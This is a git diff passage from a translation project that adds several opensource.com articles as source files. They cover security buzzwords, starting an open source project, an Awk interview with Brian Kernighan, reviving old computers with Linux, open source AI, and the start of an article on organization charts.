https://github.com/cube-js/cube.js/pull/3555 +[4]: https://opensource.com/article/22/8/non-code-contribution-powers-open-source diff --git a/sources/talk/20220920 Security buzzwords to avoid and what to say instead.md b/sources/talk/20220920 Security buzzwords to avoid and what to say instead.md new file mode 100644 index 0000000000..8018ba3097 --- /dev/null +++ b/sources/talk/20220920 Security buzzwords to avoid and what to say instead.md @@ -0,0 +1,85 @@ +[#]: subject: "Security buzzwords to avoid and what to say instead" +[#]: via: "https://opensource.com/article/22/9/security-buzzword-alternatives" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Security buzzwords to avoid and what to say instead +====== +Consider these thoughtful approaches to define what security really means in your open source project. + +![Lock][1] + +Image by: JanBaby, via Pixabay CC0. + +Technology is a little famous for coming up with "buzzwords." Other industries do it, too, of course. "Story-driven" and "rules light" tabletop games are a big thing right now, "deconstructed" burgers and burritos are a big deal in fine dining. The problem with buzzwords in tech, though, is that they potentially actually affect your life. When somebody calls an application "secure," to influence you to use their product, there's an implicit promise being made. "Secure" must mean that something's secure. It's safe for you to use and trust. The problem is, the word "secure" can actually refer to any number of things, and the tech industry often uses it as such a general term that it becomes meaningless. + +Because "secure" can mean both so much and so little, it's important to use the word "secure" carefully. In fact, it's often best not to use the word at all, and instead, just say what you actually mean. + +### When "secure" means encrypted + +Sometimes "secure" is imprecise shorthand for *encrypted*. In this context, "secure" refers to some degree of difficulty for outside observers to eavesdrop on your data. + +**Don't say this:** "This website is resilient and secure." + +That sounds pretty good! You're probably imagining a website that has several options for 2-factor authentication, zero-knowledge data storage, and steadfast anonymity policies. + +**Say this instead:** "This website has a 99% uptime guarantee, and its traffic is encrypted and verifiable with SSL." + +Not only is the intent of the promise clear now, it also explains how "secure" is achieved (it uses SSL) and what the scope of "secure" is. + +Note that there's explicitly no promise here about privacy or anonymity. + +### When "secure" means restricted access + +Sometimes the term "secure" refers to application or device access. Without clarification, "secure" could mean anything from the useless *security by obscurity* model, to a simple htaccess password, to biometric scanners. + +**Don't say this:** "We've secured the system for your protection." + +**Say this instead:** "Our system uses 2-factor authentication." + +### When "secure" means data storage + +The term "secure" can also refer to the way your data is stored on a server or a device. + +**Don't say this:** "This device stores your data with security in mind." + +**Say this instead:** "This device uses full disk encryption to protect your data." + +When remote storage is involved, "secure" may instead refer to who has access to stored data. + +**Don't say this:** "Your data is secure." + +**Say this instead:** "Your data is encrypted using PGP, and only you have the private key." + +### When "secure" means privacy + +These days, the term "privacy" is almost as broad and imprecise as "security." On one hand, you might think that "secure" must mean "private," but that's true only when "secure" has been defined. Is something private because it has a password barrier to entry? Or is something private because it's been encrypted and only you have the keys? Or is it private because the vendor storing your data knows nothing about you (aside from an IP address?) It's not enough to declare "privacy" any more than it is to declare "security" without qualification. + +**Don't say this:** "Your data is secure with us." + +**Say this instead:** "Your data is encrypted with PGP, and only you have the private key. We require no personal data from you, and can only identify you by your IP address." + +Some sites make claims about how long IP addresses are retained in logs, and promises about never surrendering data to authorities without warrants, and so on. Those are beyond the scope of technological "security," and have everything to do with trust, so don't confuse them for technical specifications. + +### Say what you mean + +Technology is a complex topic with a lot of potential for confusion. Communication is important, and while shorthand and jargon can be useful in some settings, generally it's better to be precise. When you're proud of the "security" of your project, don't generalize it with a broad term. Make it clear to others what you're doing to protect your users, and make it equally clear what you consider out of scope, and communicate these things often. "Security" is a great feature, but it's a broad one, so don't be afraid to brag about the specifics. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/security-buzzword-alternatives + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/security-lock-password.jpg diff --git a/sources/talk/20220928 Build an open source project using this essential advice.md b/sources/talk/20220928 Build an open source project using this essential advice.md new file mode 100644 index 0000000000..f30e0812fc --- /dev/null +++ b/sources/talk/20220928 Build an open source project using this essential advice.md @@ -0,0 +1,132 @@ +[#]: subject: "Build an open source project using this essential advice" +[#]: via: "https://opensource.com/article/22/9/build-open-source-project" +[#]: author: "Bolaji Ayodeji https://opensource.com/users/bolajiayodeji" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Build an open source project using this essential advice +====== +Use these steps for a solid foundation for your first—or next—project. + +[Open source][2] is a flourishing and beneficial ecosystem that publicly solves problems in communities and industries using software developed through a decentralized model and community contributions. Over the years, this ecosystem has grown in number and strength among hobbyists and professionals alike. It's mainstream now—even proprietary companies use open source to build software. + +With the ecosystem booming, many developers want to get in and build new open source projects. The question is: How do you achieve that successfully? + +This article will demystify the lifecycle and structure of open source projects. I want to give you an overview of what goes on inside an open source project and show you how to build a successful and sustainable project based on my personal experience. + +### A quick introduction to open source + +The [Open Source Initiative][3] (OSI) provides a formal, detailed definition of open source, but Wikipedia provides a nice summary: + +> Open source software is computer software that is released under a license in which the copyright holder grants users the rights to use, study, change, and distribute the software and its source code to anyone and for any purpose. + +Open source software is public code, usually on the internet, developed either collaboratively by multiple people or by one person. It's about collaborating with people from different regions, cultures, and technical backgrounds, often working remotely. This is why creating a project that welcomes everyone and enables different people to work together is essential. + +### The anatomy of an open source project + +Like the human body, an open source project is made up of several structures that form the entire system. I think of them as two branches: the people (microscopic) and the documents (macroscopic). + +#### Branch one: people + +Generally, an open source project includes the following sets of people: + +* Creators: Those who created the project +* Maintainers: Those who actively manage the entire project +* Contributors: Those who contribute to the project (someone like you!) +* User: Those who use the project, including developers and nontechnical customers +* Working group: A collection of contributors split into domain-specific groups to focus on a discussion or activity around a specific subject area (such as documentation, onboarding, testing, DevOps, code reviews, performance, research, and so on) +* Sponsor: Those who contribute financial support to the project + +You need to consider each group in the list above as you prepare to build a new project. What plan do you have for each of them? + +* For maintainers, decide on the criteria you want to use to appoint them. Usually, an active contributor makes the best maintainer. +* For users and contributors, you want to prepare solid documentation, an onboarding process, and everything else they need to succeed when working with your project. +* For working groups, decide whether you need them and how your project may be logically split in the future. +* Finally, for sponsors, you must provide enough data and information about your project to enable them to choose to sponsor you. + +You don't need to have all of these figured out at the start of your project. However, it's wise to think about them at the early stages so you can build the right foundations to ensure that future additions stand firm and lead to a successful project. + +#### Branch two: documents + +Open source projects usually include the following documents, usually in plain text or markdown format: + +* License: This legal document explains how and to what extent the project can be freely used, modified, and shared. A list of OSI-approved licenses is available on the OSI website. Without an explicit license, your project is not legally open source! +* Code of conduct: This document outlines the rules, norms, acceptable practices, and responsibilities of anyone who decides to participate in the project in any way (including what happens when someone violates any of the rules). The [Contributor Covenant][4] is a good example and is open source (licensed under a Creative Commons license). +* README: This file introduces your project to newcomers. On many Git hosting websites, such as GitLab, GitHub, and Codeberg, the README file is displayed under the initial file listing of a repository. It's common to feature documentation here, with links to other necessary documents. +* Documentation: This is a file or directory containing all documentation resources for the project, including guides, API references, tutorials, and so on. +* Contributing: Include a document explaining how to contribute to the project, including installation guides, configuration, and so on. +* Security: Include a file explaining how to submit vulnerability reports or security issues. + +Additionally, a project usually has web pages for issues, support, and collaboration. + +Broadly, these include: + +* Issues or bug reports: A place where users can report bugs. This page also provides a place developers can go to assign themselves the task of fixing one or more of them. +* Pull or merge requests: A place with proposed feature enhancements and solutions to bugs. These patches may be created by anyone, reviewed by the maintainers, then merged into the project's code. +* Discussions: A place where maintainers, contributors, and users discuss an open source project. This may be a dedicated website or a forum within a collaborative coding site. + +Most projects also have a communication channel in the form of an online chat for conversations and interactions between community members. + +### Licensing + +[Licensing][5] is perhaps the easiest but most important criterion to consider before creating an open source project. A license defines the terms and conditions that allow the source code and other components of your project to be used, modified, and shared. + +Licenses contain tons of legal jargon that many people don't fully understand. I use [choosealicense.com][6], which helps you choose a license based on your intended community, your desire to get patches back from those using your code, or your willingness to allow people to use your code without sharing improvements they make to it. + +![This provides guidance on when to use an MIT license or a GNU GPLv3 license. It also recommends that people contributing to a community use the license preferred by that community. The graphic also notes that there are many more licenses available. The website choosealicense.com has a text-based version of this image that links to more detailed information.][7] + +Image by: (Bolaji Ayodeji, CC BY-SA 4.0) + +### 13 phases of creating an open source project + +Now for the essential question: How do you start an open source software project? + +Here is a list of what I consider the phases of an open source project. + +1. Brainstorm your idea, write a synopsis, and document it properly. +2. Begin developing your idea. This usually involves figuring out the right tools and stacks to use, writing some code, version controlling the code, debugging, drinking some coffee, hanging around StackOverflow, using other open source projects, sleeping, and building something to solve a defined problem—or just for fun! +3. Test the project locally, write some unit and integration tests as required, set up [CI/CD pipelines][8] as needed, create a staging branch (a test branch where you test the code live before merging into the main branch), and do anything else you need to deploy the project. +4. Write [good and effective documentation][9]. This should cover what your project does, why it is useful, how to get started with it (usage, installation, configuration, contributing), and where people can get support. +5. Ensure to document all code conventions you want to use. Enforce them with tools like linters, code formatters, Git hooks, and the commitizen command line utility. +6. Choose the right license and create a README. +7. Publish the project on the internet (you might have a private repository initially, and make it public at this step). +8. Set up the processes for making releases and documenting changelogs (you can use tools like Changesets). +9. Market the project to the world! You can make a post on social media, start a newsletter, share it with your friends privately, do a product hunt launch, live stream, or any other traditional marketing strategy you know. +10. Seek funding support by using any of the available funding platforms, like Open Collective, GitHub Sponsors, Patreon, Buy me a Coffee, LiberaPay, and so on. When you create accounts with these platforms, add a link to it in your project's documentation and website. +11. Build a community around your project. +12. Consider introducing working groups to break your project's management into logical parts when required. +13. Continuously implement new ideas that sustain the resources and people behind your project. + +It's important to measure different parts of your project as you progress. This provides you with data you can use for evaluation and future growth strategies. + +### Now start a project! + +I hope this article helps you move forward with that project you've been thinking about. + +Feel free to use it as a guide and fill any gaps I missed as you build your awesome open source software project. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/build-open-source-project + +作者:[Bolaji Ayodeji][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/bolajiayodeji +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/BUSINESS_buildtogether.png +[2]: https://opensource.com/resources/what-open-source +[3]: https://opensource.org +[4]: https://www.contributor-covenant.org/version/2/1/code_of_conduct +[5]: https://opensource.com/tags/licensing +[6]: https://choosealicense.com +[7]: https://opensource.com/sites/default/files/2022-09/choosealicense.png +[8]: https://opensource.com/article/19/9/intro-building-cicd-pipelines-jenkins +[9]: https://slides.com/bolajiayodeji/effective-oss-docs diff --git a/sources/talk/20221001 What-s new with Awk-.md b/sources/talk/20221001 What-s new with Awk-.md new file mode 100644 index 0000000000..3f6a791230 --- /dev/null +++ b/sources/talk/20221001 What-s new with Awk-.md @@ -0,0 +1,80 @@ +[#]: subject: "What's new with Awk?" +[#]: via: "https://opensource.com/article/22/10/whats-new-awk" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What's new with Awk? +====== +Brian Kernighan discusses the scripting tool Awk, from its creation to current work on Unicode support. + +Awk is a [powerful scripting tool][4] that makes it easy to process text. Awk scripts use a pattern-action syntax, where Awk performs an action for every line in a file that matches a pattern. This provides a flexible yet powerful scripting language to deal with text. For example, the one-line Awk script `/error/ {print $1, $2, $3}` will print the first three space-delimited fields for any line that contains the word `error`. + +While we also have the GNU variant of Awk, called Gawk, the original Awk remains under development. Recently, Brian Kernighan started a project to add Unicode support to Awk. I met with Brian to ask about the origins of Awk and his recent development work on Awk. + +Jim Hall: Awk is a great tool to parse and process text. How did it start? + +Brian Kernighan: The most direct influence was a tool that Marc Rochkind developed while working on the Programmer's Workbench system at Bell Labs. As I remember it now, Marc's program took a list of regular expressions and created a C program that would read an input file. Whenever the program found a match for one of the regular expressions, it printed the matching line. It was designed for creating error checking to run over log files from telephone operations data. It was such a neat idea—Awk is just a generalization. + +Jim: AWK stands for the three of you who created it: Al Aho, Peter Weinberger, and Brian Kernighan. How did the three of you design and create Awk? + +Brian: Al was interested in regular expressions and had recently implemented egrep, which provided a very efficient lazy-evaluation technique for a much bigger class of regular expressions than what grep provided. That gave us a syntax and working code. + +Peter had been interested in databases, and as part of that he had some interest in report generation, like the RPG language that IBM provided. And I had been trying to figure out some kind of editing system that made it possible to handle strings and numbers with more or less equal ease. + +We explored designs, but not for a long time. I think Al may have provided the basic pattern-action paradigm, but that was implicit in a variety of existing tools, like grep, the stream editor sed, and in the language tools YACC and Lex that we used for implementation. Naturally, the action language had to be C-like. + +Jim: How was Awk first used at Bell Labs? When was Awk first adopted into Unix? + +Brian: Awk was created in 1977, so it was part of 7th-edition Unix, which I think appeared in about 1979. I wouldn't say it was adopted, so much as it was just another program included because it was there. People picked it up very quickly, and we soon had users all over the Labs. People wrote much bigger programs than we had ever anticipated, too, even tens of thousands of lines, which was amazing. But for some kinds of applications, the language was a good match. + +Jim: Has Awk changed over the years, or is Awk today more or less the same Awk from 1977? + +Brian: Overall, it's been pretty stable, but there have been a fair number of small things, mostly to keep up with at least the core parts of Gawk. Examples include things like functions to do case conversion, shorthands for some kinds of regular expressions, or special filenames like `/dev/stderr`. Internally, there's been a lot of work to replace fixed-size arrays with arrays that grow. Arnold Robbins, who maintains Gawk, has also been incredibly helpful with Awk, providing good advice, testing, code, and help with Git. + +Jim: You're currently adding Unicode support to Awk. This is one of those projects that seems obvious when you hear it, because Unicode is everywhere, but not every program supports it yet. Tell us about your project to add Unicode to Awk. + +Brian: It's been sort of embarrassing for a while now that Awk only handled 8-bit input, though in fairness it predates Unicode by 10 or 20 years. Gawk, the GNU version, has handled Unicode properly for quite a while, so it's good to be up to date and compatible. + +Jim: How big of a project is adding Unicode support? Did this require many changes to the source code? + +Brian: I haven't counted, but it's probably 200 or 300 lines, primarily concentrated in either the regular expression recognizer or in the various built-in functions that have to operate in characters, not bytes, for Unicode input. + +Jim: How far along are you in adding Unicode to Awk? + +Brian: There's a branch of the code at GitHub that's pretty up to date. It's been tested, but there's always room for more testing. + +One thing to mention: It handles UTF-8 input and output, but for Unicode code points, which are not the same thing as Unicode graphemes. This distinction is important but technically very complicated, at least as I understand it. As a simple example, a letter with an accent could be represented as two code points (letter and accent) or as a single character (grapheme). Doing this right, whatever that means, is very hard. + +Jim: In a Computerphile video, you mention adding support for comma-separated values (CSV) parsing to Awk. How is that project going? + +Brian: While I had my hands in the code again, I did add support for CSV input, since that's another bit of the language that was always clunky. I haven't done anything for CSV output, since that's easy to do with a couple of short functions, but maybe that should be revisited. + +Jim: What kinds of things do you use Awk for in your day-to-day work? + +Brian: Everything. Pretty much anything that fiddles text is a target for Awk. Certainly, the Awk program I use most is a simple one to make all lines in a text document the same length. I probably used it 100 times while writing answers to your questions. + +Jim: What's the coolest (or most unusual) thing you have used Awk to do? + +Brian: A long time ago, I wrote a C++ program that converted Awk programs into C++ that looked as close to Awk as I could manage, by doing things like overloading brackets for associative arrays. It was never used, but it was a fun exercise. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/whats-new-awk + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_laptop_computer_work_desk.png +[2]: https://unsplash.com/@jonasleupe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea-cup-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://opensource.com/resources/what-awk diff --git a/sources/talk/20221003 Is your old computer -obsolete-, or is it a Linux opportunity-.md b/sources/talk/20221003 Is your old computer -obsolete-, or is it a Linux opportunity-.md new file mode 100644 index 0000000000..7804bd48ee --- /dev/null +++ b/sources/talk/20221003 Is your old computer -obsolete-, or is it a Linux opportunity-.md @@ -0,0 +1,62 @@ +[#]: subject: "Is your old computer 'obsolete', or is it a Linux opportunity?" +[#]: via: "https://opensource.com/article/22/10/obsolete-computer-linux-opportunity" +[#]: author: "Phil Shapiro https://opensource.com/users/pshapiro" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Is your old computer 'obsolete', or is it a Linux opportunity? +====== +Too often older computers are labeled 'obsolete'. Linux changes that. Refurbish an old computer and make it useful again for someone who needs it. + +![Old UNIX computer][1] + +Image by: Opensource.com + +You may often hear someone claim a computer, tablet, or smartphone is "obsolete." When you hear such a statement, take a minute to ask yourself, "Is this person speaking an opinion or a fact?" + +Many times, their statement is an opinion. Let me explain why. + +When someone declares a computer "obsolete," they often speak from their own point of view. So, if you're a technology professional, a five-year-old computer might indeed be obsolete. But is that same five-year-old computer obsolete to a refugee family fleeing war or famine? Probably not. A computer that is obsolete for you might be a dream computer for someone else. + +### How I refurbish old computers with Linux + +I have some experience in this field. For the past 25 years, I've been taking older computers to people who don't have them. One of my second grade students, raised by her grandmother, graduated from Stanford University five years ago. Another one of my students, to whom I delivered a dusty Windows XP desktop in 2007, graduated from Yale University last year. Both of these students used donated computers for their own self-advancement. The latter student typed more than 50 words per minute before reaching middle school. Her family could not afford Internet service when I delivered her donated computer to her–in third grade. So, she used her time productively to learn touch typing skills. I document her story in [this YouTube video][2]. + +I'll share another anecdote that is difficult to believe, even for me. A few years ago, I bought a Dell laptop on eBay for $20. This laptop was a top-of-the-line laptop in 2002. I installed Linux Mint on it, added a USB WiFi adapter, and this laptop was reborn. I documented this story in a YouTube video titled, "[My $20 eBay laptop][3]." + +In the video, you can see this laptop surfing the web. It's not speedy but is much faster than the dial-up computers we used in the late 1990s. I would describe it as *functional*. Someone could write their doctoral thesis using this 2002 laptop. The thesis would read as well as if it were written using a computer released yesterday. This laptop should be set up somewhere public where people can see up close that a 2002 computer can still be usable. Seeing is believing. Ain't that the truth? + +How about those famed "netbooks" from 2008, 2009, and 2010? Surely those are obsolete, right? Not so fast! If you install a 32-bit Linux on them, they can surf the web just fine using the latest version of Chromium web browser–which still supports 32-bit operating systems. (Google Chrome no longer supports 32-bit operating systems, though.) A student with one of these netbooks could watch Khan Academy videos and develop their writing skills using Google Docs. Hook up one of these netbooks to a larger LCD screen, and the student could develop skills with [LibreOffice Draw][4] or [Inkscape][5], two of my favorite open source graphics programs. If you're interested, I have a [video for reviving netbooks][6] using Linux. Netbooks are also ideal for mailing overseas to a school in Liberia, a hospital in Haiti, a food distribution site in Somalia, or anywhere else where donated technology could make a huge difference. + +Do you know where refurbished netbooks would really be welcome? In the communities that have opened their hearts and homes to Ukrainian refugees. They're doing their part, and we ought to be doing ours. + +### Open source revives old computers + +Many technology professionals live in a bubble of privilege. When they declare a technology "obsolete," they might not realize the harm they are causing by representing this opinion as a fact. People unfamiliar with how open source can revive older computers are sentencing those computers to death. I won't stand idly by when that happens. And you should not, either. + +A simple response to a person who declares a computer obsolete is to say, "Sometimes older computers can be revived and put back to use. I've heard that open source is one way of doing that." + +If you know the person well, you might want to share links to some of the YouTube videos listed in this article. And when you get a chance, take a moment to meet an individual or family who lacks access to the technology they need. That meeting will enrich your life in ways you would have never imagined. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/obsolete-computer-linux-opportunity + +作者:[Phil Shapiro][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/pshapiro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/retro_old_unix_computer.png +[2]: https://www.youtube.com/watch?v=Ao_vOijz14U +[3]: https://www.youtube.com/watch?v=UZiN6nm-PUU +[4]: https://opensource.com/tags/libreoffice +[5]: https://opensource.com/downloads/inkscape-cheat-sheet +[6]: https://www.youtube.com/watch?v=GBYEclpvyGQ diff --git a/sources/talk/20221010 Defining an open source AI for the greater good.md b/sources/talk/20221010 Defining an open source AI for the greater good.md new file mode 100644 index 0000000000..e1ef20799b --- /dev/null +++ b/sources/talk/20221010 Defining an open source AI for the greater good.md @@ -0,0 +1,101 @@ +[#]: subject: "Defining an open source AI for the greater good" +[#]: via: "https://opensource.com/article/22/10/defining-open-source-ai" +[#]: author: "Stefano Maffulli https://opensource.com/users/reed" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Defining an open source AI for the greater good +====== +Join the conversation by joining the four Deep Dive: AI panel discussions starting on October 11. + +Artificial intelligence (AI) has become more prevalent in our daily lives. While AI systems may intend to offer users convenience, there have been numerous examples of automated tools getting it wrong, resulting in serious consequences. What's happening in the AI system that leads to erroneous and harmful conclusions? Probably a dramatic combo of bad AI combined with a lack of human oversight. How do we as a society prevent AI ethics fails? + +The open source community has had, for well over 20 years, clear processes for dealing with errors ("bugs") in software. The [Open Source Definition][2] firmly establishes the rights of developers and the rights of users. There are frameworks, licenses, and a legal understanding of what needs to be done. When you find a bug, you know who to blame, you know where to report it, and you know how to fix it. But when it comes to AI, do you have the same understanding of what you need to do in order to fix a bug, error, or bias? + +In reality, there are many facets of AI that don't fit neatly into the Open Source Definition. + +### Establishing boundaries for AI + +What's the boundary between the data that trains an AI system and the software itself? In many ways, AI systems are like black boxes: it isn't really understood what happens inside, and very little insight for how a system has reached a specific conclusion. You can't inspect the networks inside that are responsible for making a judgment call. So how can open source principles apply to these "black boxes" making automated decisions? + +For starters, you need to take a step back and understand what goes into an AI's automated decision-making process. + +### The AI decision process + +The AI process starts with collecting vast amounts of training data-data scraped from the internet, tagged and cataloged, and fed into a model to teach it how to make decisions on its own. However, the process of collecting a set of training data is itself problematic. It's a very expensive and time-consuming endeavor, so large corporations are better positioned to have the resources to build large training sets. Companies like Meta (Facebook) and Alphabet (Google) have been collecting people's data and images for a long, long time. (Think of all the pictures you've uploaded since before Facebook or even MySpace existed. I've lost track of all the pictures I've put online!) Essentially anything on the Internet is fair game for data collection, and today mobile phones are basically real-time sensors feeding data and images to a few mega-corporations and then to Internet-scrapers. + +Examining the data going into the system is just scratching the surface. I haven't yet addressed the models and neural networks themselves. What's in an AI model? How do you know when you're chatting with a bot? How do you inspect it? How do you flag an issue? How do we fix it? How do we stop it in case it gets out of control? + +It's no wonder that governments around the world are not only excited about AI and the good that AI could do, but also very concerned about the risks. How do we protect each other, and how do we ask for a *fair* AI? How do we establish not just rules and regulations, but also social norms that help us all define and understand acceptable behavior? We're just now beginning to ask these questions, and only just starting to identify all the pieces that need to be examined and considered. + +To date, there aren't any guiding principles or guardrails to orient the conversation between stakeholders in the same way that, for instance, the [GNU Manifesto][3] and later the Open Source Definition provides. So far, everyone (corporations, governments, academia, and others) has moved at their own pace, and largely for their own self-interests. That's why the Open Source Initiative (OSI) has stepped forward to initiate a collaborative conversation. + +### Open Source Initiative + +The Open Source Initiative has launched [Deep Dive: AI][4], a three-part event to uncover the peculiarities of AI systems, to build understanding around where guardrails are needed, and to define Open Source in the context of AI. Here's a sampling of what the OSI has discovered so far. + +#### Copyright + +AI models may not be covered by copyright. Should they be? + +Developers, researchers, and corporations share models publicly, some with an Open Source software license. Is that the right thing to do? + +The output of AI may not be covered by copyright. That raises an interesting question: Do we want to apply copyright to this new kind of artifact? After all, copyleft was invented as a hack for copyright. Maybe this is the chance to create an alternative legal framework. + +The release of the new Stable Diffusion model raises issues around the output of the models. Stable Diffusion has been trained on lots of images, including those owned by Disney. When you ask it to, for instance, create a picture of Mickey Mouse going to the US Congress, it spits out an image that looks exactly like Mickey Mouse in front of the US Capitol Building. That image may not be covered by copyright, but I bet you that the moment someone sells t-shirts with these pictures on it, Disney will have something to say about it. + +No doubt we'll have a test case soon. Until then, delve more into the copyright conundrum in the **Deep Dive: AI** podcast [Copyright, selfie monkeys, the hand of God][5]. + +#### Regulation + +The European Union is leading the way on AI regulation, and its approach is interesting. The AI Act is an interesting read. It's still in draft form, and it could be some time before it is approved, but its legal premise is based on risk. As it stands now, EU legislation would require extensive testing and validation, even on AI concepts that are still in their rudimentary research stages. Learn more about the EU’s legislative approach in the Deep Dive: AI podcast [Solving for AI’s black box problem][6]. + +#### Datasets + +Larger datasets raise questions. Most of the large, publicly available datasets that are being used to train AI models today comprise data taken from the web. These datasets are collected by scraping massive amounts of publicly available data and also data that is available to the public under a wide variety of licenses. The legal conditions for using this raw data are not clear. This means machines are assembling petabytes of images with dubious provenance, not only because of questionable legal rights associated with the uses of these images, code and text, but also because of the often illicit content. Furthermore, we must acknowledge that this internet data has been produced by the wealthier segment of the world's population—the people with access to the internet and smartphones. This inherently skews the data. Find out more about this topic in the Deep Dive: AI podcast [When hackers take on AI: Sci-fi – or the future?][7] + +#### Damage control + +AI can do real damage. Deep fakes are a good example. A Deep Fake AI tool enables you to impose the face of someone over the body of someone else. They're popular tools in the movie industry, for example. Deep Fake tools are unfortunately used also for nefarious purposes, such as making it appear that someone is in a compromising situation, or to distribute malicious misinformation. Learn more about Deep Fakes in Deep Dive: AI podcast [Building creative restrictions to curb AI abuse][8]. + +Another example is the *stop button* problem, where a machine trained to win a game can become so aware that it needs to win that it becomes resistant to being stopped. It sounds like science fiction, but it is an identified mathematical problem that research communities are aware of, and have no immediate solution for. + +#### Hardware access + +Currently, no real Open Source hardware stack for AI exists. Only an elite few have access to the hardware required for serious AI training and research. The volume of data consumed and generated by AI is measured in terabytes and petabytes, which means that special hardware is required to perform speedy computations on data sets of this size. Specifically, without graphic processing units (GPUs), an AI computation could take years instead of hours. Unfortunately, the hardware required to build and run these big AI models is proprietary, expensive, and requires special knowledge to set up. There are a limited number of organizations that have the resources to use and govern the technology. + +Individual developers simply don't have the resources to purchase the hardware needed to run these data sets. A few vendors are beginning to release hardware with Open Source code, but the ecosystem is not mature. Learn more about the hardware requirements of AI in the Deep Dive: AI podcast [Why Debian won’t distributed AI models anytime soon][9]. + +### AI challenges + +The [Open Source Initiative][10] protects open source against many threats today, but also anticipates the challenges, such as AI, of tomorrow. AI is a promising field, but it can also deliver disappointing results. Some AI guardrails are needed to protect creators, users, and the world at large. + +The Open Source Initiative is actively encouraging dialogue. We need to understand the issues and implications and help communities establish shared principles that ensure AI is good for us all. Join the conversation by joining the four [Deep Dive: AI panel discussions][11] starting on October 11. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/defining-open-source-ai + +作者:[Stefano Maffulli][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/reed +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/brain_computer_solve_fix_tool.png +[2]: https://opensource.org/osd +[3]: https://www.gnu.org/gnu/manifesto.en.html +[4]: https://deepdive.opensource.org/ +[5]: https://deepdive.opensource.org/podcast/copyright-selfie-monkeys-the-hand-of-god/ +[6]: https://deepdive.opensource.org/podcast/solving-for-ais-black-box-problem/ +[7]: https://deepdive.opensource.org/podcast/when-hackers-take-on-ai-sci-fi-or-the-future/ +[8]: https://deepdive.opensource.org/podcast/building-creative-restrictions-to-curb-ai-abuse +[9]: https://deepdive.opensource.org/podcast/why-debian-wont-distribute-ai-models-any-time-soon/ +[10]: https://opensource.org +[11]: https://deepdive.opensource.org/ diff --git a/sources/talk/20221018.2 ⭐️⭐️⭐️ Exploring innovative Open Organization charts.md b/sources/talk/20221018.2 ⭐️⭐️⭐️ Exploring innovative Open Organization charts.md new file mode 100644 index 0000000000..6ee7fe0e8a --- /dev/null +++ b/sources/talk/20221018.2 ⭐️⭐️⭐️ Exploring innovative Open Organization charts.md @@ -0,0 +1,189 @@ +[#]: subject: "Exploring innovative Open Organization charts" +[#]: via: "https://opensource.com/article/22/10/innovative-open-organization-chart" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Exploring innovative Open Organization charts +====== + +The ability to react quickly and adapt to changing situations is critical in today's business and work environment. In the past, offering efficient, standardized systems was the way to reduce costs and provide more to the public. In today's rapidly changing world, that's not enough. Collaborating, deciding, and executing quickly on a project requires that the traditional organization chart change to strengthen **adaptability**, **transparency**, **collaboration**, **inclusivity,** and project **community—**all five Open Organization Principles. Today, there are too many interdependencies to stick to the traditional top-down organization chart. + +I just read the book [Team of Teams, by Stanley McChrystal][1], which discusses this concern, particularly in military combat situations. It is the efficiency of small, empowered, trusted, goal-oriented teams working together (and with other teams) that will be successful in the future. Their ability to interact with other teams will make a small group scalable within a large organization. McChrystal writes that adaptability, transparency, and cross-silo collaboration are key to their success. These are three of the Open Organization Principles. I think it's equally valid in the business environment and not just in military operations. + +### Speed in decision-making and how to address continual unpredictability + +When do you make a decision yourself, and when do you take decisions to top management? McChrystal states, "a 70% chance of success today is better than 90% tomorrow when speed of action is critical." These days, the competitors, or enemies, are moving at that pace. + +In my article "[The 4 components of a great decision, What makes a "good" open decision?][2]" I wrote that decision-making speed was very important. Well, that's more true than ever, and you can't do that if you need approvals up and down 